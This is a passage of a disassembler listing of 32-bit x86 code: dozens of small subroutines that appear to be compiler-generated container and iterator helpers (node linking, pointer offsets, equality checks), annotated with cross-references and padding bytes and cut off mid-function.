sub_415AA0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CA8
		test	al, al
		jz	short loc_415AED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415ABA:				; CODE XREF: sub_415AA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415ABA
		pop	edi


loc_415AED:				; CODE XREF: sub_415AA0+13j
		pop	esi
		retn	0Ch
sub_415AA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B20	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
sub_415B20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415C3A


loc_415BF8:				; CODE XREF: sub_415BE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415BF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415C3A:				; CODE XREF: sub_415BE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415BE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C70	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415C70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415C85
		mov	edi, esi


loc_415C85:				; CODE XREF: ___:00415C81j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415C9A
		mov	edi, esi


loc_415C9A:				; CODE XREF: ___:00415C96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415CC0	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
sub_415CC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D00	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D20	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D40	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415D40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415D70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DA0	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415DA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DD0	proc near		; CODE XREF: sub_401A96j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415DD0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415E70	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
sub_415E70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415F30	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_415F8A


loc_415F48:				; CODE XREF: sub_415F30+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415F48
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415F8A:				; CODE XREF: sub_415F30+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415F30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415FC0	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_415FC0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415FD5
		mov	edi, esi


loc_415FD5:				; CODE XREF: ___:00415FD1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415FEA
		mov	edi, esi


loc_415FEA:				; CODE XREF: ___:00415FE6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416010	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416010	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416030	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416050	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416070	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416070	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416090	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416090	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4160C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4160F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416120	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_416120	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4161C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
sub_4161C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416280	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4162DA


loc_416298:				; CODE XREF: sub_416280+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416298
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4162DA:				; CODE XREF: sub_416280+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416310	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_416310	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416325
		mov	edi, esi


loc_416325:				; CODE XREF: ___:00416321j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41633A
		mov	edi, esi


loc_41633A:				; CODE XREF: ___:00416336j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416360	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
sub_416360	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163A0	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4163A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163C0	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_4163C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163E0	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_4163E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416410	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416440	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416440	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416490	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416490	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4164C0	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_4164C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416550	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_416550	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165A0	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4165A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4165F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416610	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416610	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416640	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416640	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4166B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
